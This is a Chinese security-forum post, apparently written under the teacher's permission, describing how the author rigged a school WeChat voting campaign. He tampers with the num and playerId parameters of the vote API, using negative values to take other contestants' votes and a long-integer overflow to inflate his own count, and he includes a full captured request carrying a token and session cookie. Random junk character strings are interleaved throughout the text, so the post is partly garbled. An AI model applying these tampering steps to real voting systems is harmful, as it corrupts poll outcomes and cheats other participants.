中国网络渗透测试联盟
标题:
原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票
[打印本页]
作者:
admin
时间:
2021-12-30 13:52
标题:
原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票
[md]**最近一直在学习逻辑漏洞,偶然看到我家小孩学校组织的投票活动,得知老师组织这次投票活动,我专门向老师申请做一次逻辑漏洞测试,老师说非常欢迎,老师说对我这个玩电脑的家长早有耳闻,于是便有了以下的过程。此测试过程必须1、微信登陆下投票 2、token验证jwt加密,解密发现openid等参数**
6 b0 l( K+ q5 \1 N* [& S
1 e+ e8 \& @( \- o2 V
7 m5 Z* |2 A% @- d4 f
**1** **、第一种方法突破微信登陆投票**
! b* i5 a7 F x" i9 p& g( i# x" Z. I
* M5 Q9 [0 {/ m5 v {6 }
一个微信账号一天投3票之扣别人的票增加自己的余票实现刷票
6 X- o. M* D9 v9 D4 p
" A. ~ N- X0 S) P) \( T
首先用微信识别老师发来的投票二维码如图:
, X0 c+ m3 {( {# S% j$ g I: K) P
) }0 R" @9 m W: d

; D# ]- |' s. j" s9 N" J
5 V5 ^0 ^9 l& q; c! B
使用微信号登陆,不停的放包,直到这里
6 a. y( b8 p+ F$ d! s% M
2 r f7 ]! E# ^9 [

. ^% B; S0 Q$ R" v/ n+ I
4 [ l, ?& x5 `, ~* _- | Y# \
修改playerIdwei为别人的,因为用自己的playerid,自己的票数为变为-负数,修改num数为负数,如-9999,因为num参数可控,这时候你的票数会多出9999票,别人会少9999票,打个比方如图:
9 E7 e& T" M; {9 h7 U) Q* j2 Z
! C8 ?( ?; \1 z; P

; V# L* D" |1 \+ [
3 r( i5 H5 f5 t
1 U9 `/ y* ?- `7 K- X6 h$ P% R
1 O( v- r9 Y+ @5 L
这时候你就在你的账号不停歇的点投票就行,直到超过第一名,如图:
4 p& D6 j' k" d+ M& l V
2 q y5 U+ ~& H5 E# y

, w8 H) r) n* L5 `# r1 K
5 W( U, Z. M5 C# N, ?6 N
) k' d) G2 X' r
; |8 y4 @# J# p- y/ c: o- M" ^
票数瞬间变为1002票,本来一个微信号一天只能投一个选手3票,这时候已经成功突破,秒变1002票。。。
3 U8 ^ T% }) {) X9 X
# s4 ?+ J( \: m) ~
以上是第一种方法刷票,扣别人的票,加自己的余票,然后再刷给自己。。。**
# q3 k2 g% D, R7 N) _% |1 Y8 P
/ I. t+ j0 }/ _9 o& t1 u, I" q
**2** **、**** ** **第二种方法利用** **long** **长整型溢出刷票**
! U( |' L) U' U A$ P
. r+ Y1 l/ P) y8 F
同样到这个包,如下:
- P- D+ G; N1 e: v3 m% G
( R( n9 `. x) f: l4 D7 b% X
```
' ]+ |/ x8 B( F& v
POST /vote/api/wx/voteFree/add HTTP/1.1
! Q+ f. }( J# Y# d' H! J Z$ U) j
Host: 111.cn
+ d; p) W6 W% I2 I! U9 i! g" j
Content-Length: 73
9 W- ~+ m3 l& s
Accept: application/json, text/javascript, */*; q=0.01
( z! z" F1 A3 a- r4 L
X-Requested-With: XMLHttpRequest
# G5 K1 r+ Z- W3 S. |1 r; Y4 ?
User-Agent: Mozilla/5.0 (Linux; Android 10; TEL-AN00a Build/HONORTEL-AN00a; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/3773 MicroMessenger/8.0.15.2020(0x28000F3D) Process/tools WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64
9 o7 D2 y% z" w& U ^
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0
8 b, t( Z! n4 u# m* h
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
' G! C8 ]) ~6 }" v* J
Origin:
http://111.cn
+ t! x5 Q8 J5 x( g
Referer:
http://111.cn/welcome/detail.html?activityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&skin=default
9 g0 g6 T) \8 K& C
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
( h" x' H8 n' e, c7 R
Cookie: SESSION=MWE3NDU3NWItM2MzMS00YWJmLTkxZTItNmU2MWQ0NzNhZDk5; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0; appid=wx6656xxoocd3e6xxoo
" ?, z8 M* c% r( u+ w8 N
Connection: close
% V a' f' S' `- k# A
voteActivityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&num=3
. m& X* O, _+ {: t0 |" B
6 O. D; _' e( U o" m
```
+ e+ |" w/ J; s1 Q
: K3 w0 I# Q! F: t
修改num=3333333{},如图:
. m/ }! Z- r; F7 c* a, c4 I3 k
1 A5 {2 k5 s/ A- Q

" R, f6 |# @8 |& V$ `4 j
1 L' `* y- o' t8 g8 V
0 ~9 U/ f" S1 H# ?
+ a0 j- \' S# w; f$ T; X# W3 ?8 f
判断为long长整型,既然num=-333333可控,那我们就把num=-333333改为2的63次方,也就是num=-9223372036854775808,执行完以后,提示500错误,提示超出范围。。。然后微信打开投票二维码就卡半天了,恢复之前如图:
( o* k9 R1 E, ~* [# V( I0 z: F
6 a( f( @+ a$ D5 m% ^# X9 s1 \5 U

5 G% R% c( R5 m! |4 K6 X
" Z: v6 ^( x2 }. \: A
! K2 B4 W. {: R) I8 Y& T1 h, d
/ ^' U" ?9 C$ z+ K @8 l. F
这是之前测试的时候不小心搞成,所以才有了第二种方法。。。。。
* p1 c9 j/ `" ~, b8 E Y( s
# u7 ?' [( I7 p* s2 ?
也就是刷票数为负 -270多万,如上图。。。
$ H/ Y2 N A9 K# x2 s* I: h
; l9 Y% m" y3 _6 A; I. m, x0 ^- V7 p
等溢出恢复以后票数变成15W多,排名第一,如图:
- z3 j) p8 m* {/ X9 Q
& a0 s. c6 C. \1 d1 H; g+ C
3 }, @- X+ F1 h+ S" [

' k, {, N. p9 E$ @
4 m2 n: S! }+ a8 f( h+ r& X9 D6 K
**注:由于测试过程没有保存录像或图片,导致溢出以后的返回包没能贴图,不过没关系,正负数都试一遍,一般参数可负数的话,直接负的最大溢出量就够了。。。**
8 i' I! _# _4 T& X' {
[/md]
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2